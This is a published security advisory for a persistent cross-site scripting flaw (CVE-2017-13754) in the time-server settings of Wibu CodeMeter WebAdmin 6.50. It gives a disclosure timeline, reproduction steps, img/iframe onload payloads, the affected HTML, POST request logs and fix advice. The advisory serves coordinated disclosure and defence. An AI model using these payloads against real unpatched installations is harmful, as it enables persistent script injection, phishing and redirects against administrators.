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Document Title:
===============
Wibu Systems AG CodeMeter 6.50 - Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2074

ID: FB49498

Acknowledgements: https://www.flickr.com/photos/vulnerabilitylab/36912680045/

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-13754

CVE-ID:
=======
CVE-2017-13754


Release Date:
=============
2017-09-04


Vulnerability Laboratory ID (VL-ID):
====================================
2074


Common Vulnerability Scoring System:
====================================
3.5


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
CodeMeter is the universal technology for software publishers and intelligent device manufacturers, upon which all 
solutions from Wibu-Systems are built. You want to protect the software you have developed against piracy and 
reverse engineering. CodeMeter requires your attention only once: its integration in your software and your business 
workflow is necessary at one point in time only. Protection Suite is the tool that automatically encrypts your 
applications and libraries. In addition, CodeMeter offers an API for custom integration with your software.

(Copy of the Homepage: http://www.wibu.com/us/codemeter.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent input validation vulnerability in the official 
Wibu Systems CodeMeter WebAdmin v6.50 application.


Vulnerability Disclosure Timeline:
==================================
2017-05-20: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2017-05-21: Vendor Notification (Wibu Systems AG - Security Department)
2017-05-22: Vendor Response/Feedback (Wibu Systems AG - Security Department)
2017-08-01: Vendor Fix/Patch (Wibu Systems AG - Service Developer Team)
2017-08-20: Security Acknowledgements (Wibu Systems AG - Security Department)
2017-09-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Wibu-Systems AG
Product: CodeMeter & Control Panel - WebAdmin (Web-Application) 6.50.2624.500


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in the Wibu Systems AG CodeMeter WebAdmin v6.50 web-server web-application.
The vulnerability allows remote attackers to inject own malicious script code with application-side vector to the vulnerable function or 
module to followup with a compromising attack.

The input validation vulnerability has been discovered in the `server name` input field of the `advanced settings - time server` module.
The request method to inject is POST and the attack vector is located on the application-side. First the attacker injects the payload and 
after it the POST request is performed to save the content permanently. After that the issue triggers on each visit an execution. The basic 
validation in the application is well setup but in case of the advanced settings the validation parameter are still not implemented to secure 
the function at all. The vulnerability is a classic filter input validation vulnerability. The application has no cookies and therefore the 
attack risk is more minor but not that less then to ignore it. The vulnerable files are `ChangeConfiguration.html`, `time_server_list.html` 
and `certified_time.html`. The `ChangeConfiguration.html` is marked as injection point for the payload. The `time_server_list.html` and 
`certified_time.html` files are mared with the execution point of the issue.

The security issue was uncovered during the blurrybox hacking contest of the wibu systems ag and acknowledged by the management.

The security risk of the persistent input validation issue is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5.
Exploitation of the persistent input validation web vulnerability requires low user interaction and a privileged web-application user account.
Successful exploitation of the vulnerability results in persistent phishing attacks, persistent external redirects to malicious sources and 
persistent manipulation of affected or connected application modules.


Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Advanced Settings - Time Server

Vulnerable File(s):
[+] ChangeConfiguration.html

Vulnerable Parameter(s):
[+] server name

Affected Module(s):
[+] time_server_list.html
[+] certified_time.html


Proof of Concept (PoC):
=======================
The persistent input validation vulnerability can be exploited by remote attackers with privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Start the CodeMeter software
2. Open the webadmin gui
3. Move to advanced settings
4. Open the time-server module
5. Click the plus to add a new time server
Note: The request method is POST
6. Inject a test script code payload with matching domain and save via POST
7. The code is saved and executes of the dbms in the time-server list module index
8. Successful reproduce of the vulnerability!

Note: The method can be automated by usage of post method requester to include a payload.


PoC: Payload (Exploitation)
cmtime.codehacker.de/>"<img src="evil.source" onload=alert("GUTENMORGEN")>
cmtime.codehacker.de/>"<iframe src="evil.source" onload=alert("GUTENMORGEN")>



PoC: Vulnerable Source
<div id="time_server_to_add"><input id="TimeServerId1" name="time_server_list_list" value="cmtime.codemeter.com" 
type="radio"><label class="time_server_list_list_label" for="TimeServerId1"><span class="ct100_t bld ssl_number_space">1. 
</span>cmtime.codemeter.com<span class="ssl_up" onclick="onClickSSLUp(this);" style="visibility: hidden;"><span class="fa 
fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" onclick="onClickSSLDown(this);"><span class="fa fa-arrow-down 
fa-list-buttons"></span></span><span class="ssl_delete" onclick="onClickDelete(this);"><span class="fa fa-trash-o fa-list-buttons">
</span></span></label><input id="TimeServerId3" name="time_server_list_list" value="cmtime.codemeter.de" type="radio">
<label class="time_server_list_list_label" for="TimeServerId3"><span class="ct100_t bld ssl_number_space">2. </span>cmtime.codemeter.de
<span class="ssl_up" onclick="onClickSSLUp(this);"><span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" 
onclick="onClickSSLDown(this);"><span class="fa fa-arrow-down fa-list-buttons"></span></span><span class="ssl_delete" 
onclick="onClickDelete(this);"><span class="fa fa-trash-o fa-list-buttons"></span></span></label><input id="TimeServerId4" 
name="time_server_list_list" value="cmtime.codemeter.us" type="radio"><label class="time_server_list_list_label" for="TimeServerId4">
<span class="ct100_t bld ssl_number_space">3. </span>cmtime.codemeter.us<span class="ssl_up" onclick="onClickSSLUp(this);">
<span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" onclick="onClickSSLDown(this);" style="visibility: 
visible;"><span class="fa fa-arrow-down fa-list-buttons"></span></span><span class="ssl_delete" onclick="onClickDelete(this);">
<span class="fa fa-trash-o fa-list-buttons"></span></span></label><input id="cmtime.codehacker.de/>" <img="" src="evil.source">" 
type="radio" name="time_server_list_list" value="cmtime.codehacker.de/>"<img src="evil.source">"/><label class="time_server_list_list_label" 
for="cmtime.codehacker.de/>" <img="" src="evil.source">"><span id="ssl_number_cmtime.codehacker.de/>" <img="" src="evil.source">"[EXECUTABLE PAYLOAD!]
class="ct100_t bld ssl_number_space"></span>cmtime.codehacker.de/>"<img src="evil.source"><span class="ssl_up" 
onclick="onClickSSLUp(this);"><span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" 
onclick="onClickSSLDown(this);" style="visibility: hidden;"><span class="fa fa-arrow-down fa-list-buttons"></span></span>
<span class="ssl_delete" onclick="onClickDelete(this);"><span class="fa fa-trash-o fa-list-buttons"></span></span></label></div>


--- PoC Session Logs (GET) ---
Status: 200[OK]
POST http://localhost:22350/actions/ChangeConfiguration.html 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[1544] 
Mime Type[text/html]
   Request Header:
      Host[localhost:22350]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Content-Type[application/x-www-form-urlencoded]
      Content-Length[255]
      Referer[http://localhost:22350/configuration/certified_time.html]
      Cookie[com.wibu.cm.webadmin.lang=de-DE]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   POST-Daten:
      Action[CertifiedTimeConfiguration]
      TimeServerList[cmtime.codemeter.com%7Ccmtime.codemeter.de%7Ccmtime.codemeter.us%7Ccmtime.codehacker.de/>"<img src="evil.source" onload=alert("GUTENMORGEN")>%7C]
      SoapTimeOut[20]
      certified_time_time_out[20]
      ApplyButton[Apply]
      WaFormGuard[v0V839tW3xkpa6jC26kYsvZJxe0UFJCl4%2FB2ipA6Xpwv]
   Response Header:
      Server[WIBU-SYSTEMS HTTP Server]
      Date[21 May 2017 16:00:21 +0000]
      Content-Type[text/html; charset=utf-8]
      X-Frame-Options[SAMEORIGIN]
      x-xss-protection[1; mode=block]
      Accept-Ranges[bytes]
      Content-Length[1544]
-
Status: 200[OK]
GET http://localhost:22350/configuration/iframe/evil.source[PAYLOAD EXECUTION]
Load Flags[LOAD_NORMAL] Größe des Inhalts[2320] Mime Type[text/html]
   Request Header:
      Host[localhost:22350]
      User-Agent[zero-zero]
      Accept[*/*]
      Referer[http://localhost:22350/configuration/iframe/time_server_list.html]
      Cookie[com.wibu.cm.webadmin.lang=de-DE]
      Connection[keep-alive]
   Response Header:
      Server[WIBU-SYSTEMS HTTP Server]
      Date[19 May 2017 21:02:23 +0000]
      Connection[close]
      Content-Type[text/html; charset=utf-8]
      X-Frame-Options[SAMEORIGIN]
      x-xss-protection[1; mode=block]
      Accept-Ranges[bytes]
      Content-Length[2320]
-
Status: 200[OK]
GET http://localhost:22350/configuration/iframe/evil.source 
Mime Type[text/html]
   Request Header:
      Host[localhost:22350]
      User-Agent[zero-zero]
      Accept[*/*]
      Referer[http://localhost:22350/configuration/iframe/time_server_list.html]
      Cookie[com.wibu.cm.webadmin.lang=de-DE]
      Connection[keep-alive]
   Response Header:
      Server[WIBU-SYSTEMS HTTP Server]
      Date[19 May 2017 21:06:56 +0000]
      Connection[close]
      Content-Type[text/html; charset=utf-8]
      X-Frame-Options[SAMEORIGIN]
      x-xss-protection[1; mode=block]
      X-Content-Type-Options[nosniff]
      Accept-Ranges[bytes]
      Content-Length[2320]


Reference(s):
http://localhost:22350/
http://localhost:22350/configuration/
http://localhost:22350/configuration/ChangeConfiguration.html
http://localhost:22350/configuration/certified_time.html
http://localhost:22350/configuration/time_server_list.html


Solution - Fix & Patch:
=======================
1. Restrict the input field and disallow the usage of special chars like in the other input fields
2. Parse the input field and escape the content
3. Parse in the visible listing the output location of the item
4. Setup a secure exception-handling to handl illegal events
5. Include a proper validation mask to the form to prevent further injection attacks

The security vulnerability has been patched in the version 6.50b.


Security Risk:
==============
The seurity risk of the persistent input validation web vulnerability in the web-server webadmin web-application is estimated as medium (CVSS 3.5).
Earlier version releases up to codemeter 6.50 may be affected as well by the cross site scripting web vulnerability.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


Disclaimer & Information:
=========================
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